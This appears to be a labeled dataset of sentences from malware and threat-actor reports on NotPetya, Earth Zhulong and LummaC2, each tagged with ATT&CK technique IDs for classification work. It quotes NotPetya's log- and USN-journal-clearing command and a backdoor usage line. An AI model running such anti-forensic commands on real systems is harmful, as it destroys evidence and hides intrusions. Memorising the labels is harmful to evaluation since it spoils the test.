{"sentence": "If the API fails to execute, the malware calls InitiateSystemShutdownExW with the flag set to reboot the machine.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Anti-Forensics The malware employs anti-forensics practices throughout its execution.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For instance, immediately after execution, it loads itself in memory, and deletes itself from the disk.", "labels": ["T1027"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "However, before deletion, it zeros out the file contents on disk to ensure that the malware cannot be recovered via disk forensics.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware uses a similar approach for the credential theft module it drops as well.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the contents of its resource section are decompressed and written to disk, it zeros out the memory buffer containing the decompressed PE files.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Furthermore, once execution of those files take place, it zeroes out its file contents before deleting from the disk.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware also spawns cmd.exe to execute the following command:", "labels": ["T1059.003"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "C:” This command is responsible for clearing out the following logs: Setup logs: contains events related to application setup System logs: contains events pertaining to system components Security logs: contains events such as logon attempts, file creation, access, deletion Application logs: contains events logged by applications USN journal: maintains a record of changes made to a particular volume For information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents this destructive ransomware.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Appendix A: Indicators of Compromise (IOCs)", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Below is the relevant data for the files analyzed.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "File: Dropper / Payload Size: 362360 MD5: 71B6A493388E7D0B40C83CE903BC6B04 SHA256: 027CC450EF5F8C5F653329641EC1FED91F694E0D229928963B30F6B0D7D3A745 Compiled: Sun, Jun 18 2017, 7:14:36 – 32-bit DLL Signature Corrupt Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "File:Credential Theft Module 32-bit Size: 47616 MD5: 2813D34F6197EB4DF42C886EC7F234A1 SHA256: EAE9771E2EEB7EA3C6059485DA39E77B8C0C369232F01334954FBAC1C186C998 Compiled: Tue, Jun 6 2017, 13:31:37 – 32-bit EXE File:Credential Theft Module 64-bit Size: 57344 MD5: 7E37AB34ECDCC3E77E24522DDFD4852D SHA256: 02ef73bd2458627ed7b397ec26ee2de2e92c71a0e7588f78734761d8edbdcd9f Compiled: Tue, Jun 6 2017, 13:31:37 – 64-bit EXE File: dllhost.dat Size: 381816 MD5: AEEE996FD3484F28E5CD85FE26B6BDCD SHA256: F8DBABDFA03068130C277CE49C60E35C029FF29D9E3C74C362521F3FB02670D5 Compiled: Tue, Apr 27 2010, 0:23:59 – 32-bit EXE Version: 1.98 Signature Valid Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA The post NotPetya Technical Analysis – A Triple Threat: File Encryption, MFT Encryption, Credential Theft appeared first on .", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Earth Zhulong:", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Familiar Patterns Target Southeast Asian Firms url: https://www.trendmicro.com/en_us/research/23/b/earth-zhulong-familiar-patterns-target-southeast-asian-firms.html Cyber Crime Earth Zhulong:", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Familiar Patterns Target Southeast Asian Firms In 2022, we discovered Earth Zhulong, a hacking group that has been targeting Asian firms similar to another well-known threat actor.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this article, we unravel their new tactics, techniques and procedures that they apply on their misdeeds.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "By: Ted Lee February 08, 2023Read time: ( words) Save to Folio Subscribe Introduction In 2022, we discovered a hacking group that has been targeting telecom, technology, and media sectors in Southeast Asia since 2020.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We track this particular group as Earth Zhulong.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We believe that Earth Zhulong is likely related to the Chinese-linked hacking group 1937CN based on similar code in the custom shellcode loader and victimology.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this post, we’ll introduce Earth Zhulong’s new tactics, techniques, and procedures (TTPs) in the recent campaign and the evolution of their custom shellcode loader, “ShellFang”.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Through the TTPs, we see that they are sophisticated and meticulous as malicious actors.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "They adopt multiple approaches to obfuscate their tools and eliminate their footprint after finishing the operation.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "As a result, we have exerted greater effort to hunt down and analyze their tools to fully understand the attack scenario.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In addition, we have verified three different variants of ShellFang were used from 2020 to 2022.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The latest variant demonstrates that threat actors have adopted more obfuscation techniques, including abusing exception mechanisms to obfuscate the execution flow of programs and Windows API hashing.", "labels": ["T1027", "T1106"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In early 2022, we further discovered that Earth Zhulong abused group policy objects (GPO) to install loaders and launch Cobalt Strike on their target hosts.", "labels": ["T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Several hack tools were also found on the infected hosts, including tunneling, port scanning, a Go-lang based backdoor and an information stealer used to harvest internal information.", "labels": ["T1005"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Compared to old variants, code structure in the latest variant is dramatically different and there are few shared features between old and the latest variant.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "However, we found the relationship during the long-term investigation and finally correlated old variants with the latest one.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We believe the relationship found in this research could bring this notorious hacking group back to public sight and the findings here will be helpful to future research on hacker groups which are active in Southeast Asia.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Initial Access – Lure document Back in 2020, through the command and control (C&C) domain observed in our investigation, we found a lure document with a malicious macro.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Once the victim opens the document, the embedded macro will be executed, injecting the shellcode into rundll32.exe.", "labels": ["T1055", "T1204.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We have identified the embedded shellcode as a Cobalt Strike shellcode which will be used to build connection to a remote hacking machine.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We believe this lure document is one of the approaches used by the threat actors to compromise their targets.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 1.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Screenshot of decoy document Figure 2.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Malicious macro embedded in the document Figure 3.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Shellcode which is used for code injection.", "labels": ["T1055", "T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Propagation through GPO In early 2022, we further observed new TTPs used to spread malware in the victim’s environment.", "labels": ["T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After getting access to the internal network, they perform domain exploration using SharpHound.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Once they successfully compromise the domain controller, they will submit immediate tasks to the hosts in the domain through GPO as seen in Figure 5, As the hosts receive the task through GPO, they will run a PowerShell script named “co.ps1” and create scheduled tasks for persistence. Figure 4.", "labels": ["T1053.005", "T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Overview of attack scenario Figure 5.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "PowerShell script to create a ImmediateTask through GPO", "labels": ["T1053.005"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "As shown in Figure 6, threat actors use multi-layered AES encryption and base64 encoding to obfuscate “co.ps1”.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Heavy obfuscation in a simple but useful anti-analysis approach makes it difficult for security products to detect their scripts.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After clearing the obfuscation, we found the script is used to deploy malware components (win.exe, gm.dll, and lengs.medil.xml) on the infected machine.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 6.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Heavily obfuscated PowerShell script Figure 7.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Cleaned content of co.ps1 Earth Zhulong adopted DLL sideloading techniques to run their malware.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "“win.exe” is a renamed GoogleToolbarNotifier application.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The malicious DLL “gtn.dll”, which we named as “ShellFang”, loads when a legitimate executable is launched.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It then calls the export function, “Go”, to start the loading procedure of the encrypted payload to decrypt the payload called “lengs.medil.xml”, which is the Cobalt Strike beacon. Figure 8. win.exe file information Figure 9. win.exe will call the malicious export function in gtn.dll Evolution of ShellFang loader During the investigation, we found that Earth Zhulong started targeting Southeast Asian firms in 2020.", "labels": ["T1027", "T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Although they always used DLL sideloading to launch their malware, they never stopped changing the code structure of their shellcode loader.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Here we summarize the information we collected from 2020 to 2022 and verify three different variants used by Earth Zhulong.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Loader prior to 2020 (Variant 1)", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The earliest variant of ShellFang was observed in a victim’s environment in 2020.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "However, based on the timestamp of export function, this variant was compiled in 2017.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The code structure of ShellFang is simple.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It would read the encrypted payload (“nkford.nlp” is the payload in this case) then decrypt it and run it in the memory.", "labels": ["T1027", "T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The shellcode loader used XOR with a 26 byte keyset and started a long sleep after finishing shellcode execution. Figure 10.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Main function of earliest variants Loader in 2021 (Variant 2) Compared to the variant in 2020, there was no big change in 2021.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "They changed the decryption function into RC4 instead of the original XOR, but the code structure was basically the same as the previous variant.", "labels": ["T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 11.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Main function of variant in 2021 Loader in the latest campaign (2022, variant 3) Compared to previous variants, changes were seen in the code structure in variant 3.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this variant, more anti-analysis techniques were added to strengthen their loader, including API hashing and execution flow obfuscation through exception mechanism.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Threat actors intentionally raise exceptions to interrupt malware analysts and obfuscate the execution flow of the program.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Windows APIs are obfuscated via a hashing function and dynamically resolved in the run-time.", "labels": ["T1027", "T1106"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The payload will be decrypted with RC4 algorithm, and the final payload is an HTTPs Cobalt Strike beacon.", "labels": ["T1071.001", "T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 12.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "A loop of intentional exception triggers to obfuscate control flow of program.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 13.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Necessary APIs will be dynamically resolved during execution.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Hacking Tools Besides the shellcode loader and Cobalt Strike, we also observed additional tools, including port scanner, proxy and information stealer deployed to the compromised hosts.", "labels": ["T1090"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It’s worth noting that they use various programming platforms including C language, Go-Lang and Python.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this section, we will mention some noteworthy hacking tools used in their operation.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "MACAMAX Although threat actors already installed the Cobalt Strike as backdoor, we also found out that they deployed another Go-Lang backdoor, which we named MACAMAX in the meantime.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It supports proxy (Socks5), upload/download file and remote shell functions.", "labels": ["T1059.003", "T1090", "T1105"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Network configuration was defined in another configuration file, and it would be loaded when running the backdoor.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Furthermore, the configuration file will be deleted once it is loaded into memory for fear of leaking network infrastructures.", "labels": ["T1070.004"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "cmd> {MACAMAX}.exe {network config file} Usage of MACAMAX -rh={remote host} -rp={remote port} -ps={proxy server} -sl=5", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "-to=0 -cg=1 Information defined in the configuration file.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Themida-packed EarthWorm During our investigation, we found they also use the notorious network-penetration tool, “EarthWorm”.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "EarthWorm is a simple network tunnel tool with SOCKS v5 server and port transfer developed by a Chinese engineer.", "labels": ["T1090"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Although the original developer already stopped maintenance and removed the download link, it’s still getting more popular in the recent cyber-attack.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "With this tool, the attackers are able to bypass the firewall and access the machine in a restricted network.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Since EarthWorm has become more common, security vendors also provide solutions to detect this powerful tool.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In order to avoid being detected by security products, threat actors use Themida packer to obfuscate the signature used for detection.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Information Stealer We found a python-based information stealer used to collect internal information of victims.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "This information stealer is compiled with Python 3.10 and packed by noted tools, “PyInstaller”, used to convert python script to be a standalone executable.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After checking the Python assembly code of the sample, we found this tool is used to dump information from the victim’s Oracle database.", "labels": ["T1005"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Dumped data will be stored in a csv file and compressed by WinRAR with a password (“5tgb6yhn”), then all compressed data will be uploaded to Dropbox at the end.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 14.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Oracle connection config and SQL command for information dump Figure 15.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Embedded WinRAR command Figure 16.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Dropbox configuration and upload RAR data Footprint Hidden and Elimination Threat actors run PowerShell scripts with previous versions of PowerShell that do not support Script Block Logging with the intent to evade being detected while running the malicious scripts (so-called “Downgrade Attack”).", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After finishing the operation, they will clean the intrusion footprint and delete important files, including payload and network configuration files, to avoid leaking any information to analysts.", "labels": ["T1070.004"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It is worth noting that they also corrupt their shellcode loader by wiping out the header of the file, seen in Figure 15.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "This is a common approach to make it harder for analysts to analyze their tools in the ransomware attack, but it’s relatively rare in an APT attack.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "These show that they are sophisticated and meticulous actors. Figure 17.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Obfuscated PowerShell script used to clean the footprint on Domain Controller Figure 18.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Left is the corrupted ShellFang and the right one is the normal one.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Attribution Summarizing the information collected from 2020 to 2022, we find that Earth Zhulong is likely to be related to a notorious hacking group, “1937CN” based on the code similarity and victimology aspects.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this section, we will introduce the process of attribution.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Code similarity Although the earliest variant of ShellFang used in this campaign was observed in 2020, we found the malware was already compiled in 2017, based on the timestamp of an export function, which can be seen in Figure 19.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In addition, we reviewed reports published around that time and found the decryption algorithm in ShellFang was once used in the campaign by 1937CN, which was revealed by Fortinet in 2017.", "labels": ["T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Shown in Figure 20, the XOR keyset and algorithm are highly similar.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Based on the prevalent time and algorithm, we believe Earth Zhulong is likely to be related to 1937CN.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 19.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Timestamp of export function in the earliest variant Figure 20.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The left is the algorithm revealed by Fortinet in 2017.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The right one is found in the earliest ShellFang variant.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Victimology Based on our long-term investigation, Southeast Asia is Earth Zhulong’s major target, focusing on telecom and media sectors.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "1937CN is a well-known hacking group in Southeast Asia and has always been their major target as well.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In 2016, 1937CN was suspected to attack Noi Bai and Tan Son Nhat airports in Vietnam, hijacking the flight information screens to broadcast anti-Vietnamese and anti-Philippines propaganda.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In 2017, Fortinet also revealed their campaign targeting Vietnamese organizations by using a weaponized RTF document.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In victimology aspects, Earth Zhulong is consistent with the 1937CN group.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Conclusion Through long-term monitoring, we found this campaign continued targeting Southeast Asia from 2020 to 2022.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In the past 2 years, they always have used DLL sideloading as their major technique to launch their malware.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "However, they continued updating their tools and even added more anti-analysis techniques in their latest tools including multi-layer obfuscation, API obfuscation, and execution flow obfuscation by raising exceptions intentionally.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We also found they compromise the domain controller in the victim’s environment and deployed Cobalt Strike on their hosts by creating immediate tasks through GPO.", "labels": ["T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In addition, Go-lang and Python are also used as programming languages to build their tools.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Both programming languages provide strength for cross-platform programs development.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Furthermore, Python and Go-lang executables usually compile all necessary libraries in a single binary, making malware classification more difficult for analysts and resulting in a large binary.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Some security products have limitations when handling large files.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Which may be their approach as large binaries reduces the risk of being detected.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In the process of tracking and analyzing the data, we have identified the hacker group behind the campaign which targets organizations in Southeast Asia, and called it Earth Zhulong.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Based on the victimology and usage of a highly similar decryption algorithm, we believe that Earth Zhulong is related to the hacking group known as “1937CN”.", "labels": ["T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We hope our findings will remind the public that the actions and motivations of 1937CN continue to resurface through groups like Earth Zhulong, and that these groups remain a big threat to cybersecurity in Southeast Asia.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "While the threat remains focused on Southeast Asia, tactics like this can be applied to various places across the world.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It is better to stay ahead of the curve to ensure your safety against these malicious actors.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Ensuring your systems are protected on all aspects is integral to the productivity of your enterprise.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Trend Micro Vision One can help you prevent threats like this with multiple security layers across all platforms, and its intuitive threat detection, investigation and response system makes it a key factor to stop Earth Zhulong’s evolving methods of infiltrating systems.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Indicators of compromise (IOCs) Download the full list of IOCs here.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "MITRE Tactics Techniques Discovery T1087 - Account Discovery T1482 - Domain Trust Discovery Execution T1204.002 - User Execution: Malicious File Defense Evasion T1574.002 - Hijack Execution Flow: DLL Side-Loading T1055 - Process Injection T1070.006 - Timestomp T1140 - Deobfuscate/Decode Files or Information T1070 - Indicator Removal T1562.010 - Downgrade Attack Persistence T1053.005 - Scheduled", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Task Privilege Escalation T1484 - Domain Policy Modification T1078 - Valid Account Command and Control T1071.001 - Application Layer Protocol: Web Protocols T1090.001 - Internal Proxy T1090.002 - External Proxy Authors Ted Lee Threat Researcher", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "By SOCRadar Research In our article about Stealer-as-a-Service, as the SOCRadar Research team, we looked at Lumma Stealer, a relatively new and unknown malware.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "During our research, we didn’t find much information, so we did threat hunting by monitoring hacker forums with our dark web team.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We added the resulting data to our platform and started our analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "LummaC2 is the name of a malicious program classified as a stealer.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "It operates by stealing sensitive information from infected devices and installing applications.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "After our dark web team discovered LummaC2, we found that it was being sold on underground forums.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Due to its distribution on the web, it can be related to multiple cybercriminals.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "According to the promotional material, the LummaC2 is approximately 150-200 KB and can affect operating systems from Windows 7 to Windows 11.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Executive Summary Threat Identifiers Name LummaC2 Threat Type Stealer Detections VirusTotal Symptoms Stealers are designed to stealthily infiltrate the victim’s computer and remain silent.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Thus no particular symptoms are clearly visible on an infected machine.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Distribution Methods Infected email attachments, malicious online advertisements, social engineering, software ‘cracks.’", "labels": ["T1566.001"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Damage Stolen passwords and banking information, identity theft, and the victim’s computer added to a botnet.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The LummaC2 stealer begins its operations by obtaining relevant device data, such as OS version and architecture, hardware ID, CPU, RAM, screen resolution, system language, etc.", "labels": ["T1082"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "This malware can exfiltrate files and extract data from specific applications.", "labels": ["T1005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Browsers targeted by LummaC2: Chrome, Chromium, Mozilla Firefox, Microsoft Edge, Brave, Kometa, Opera GX Stable, Opera Neon, Opera Stable, Vivaldi, and others.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
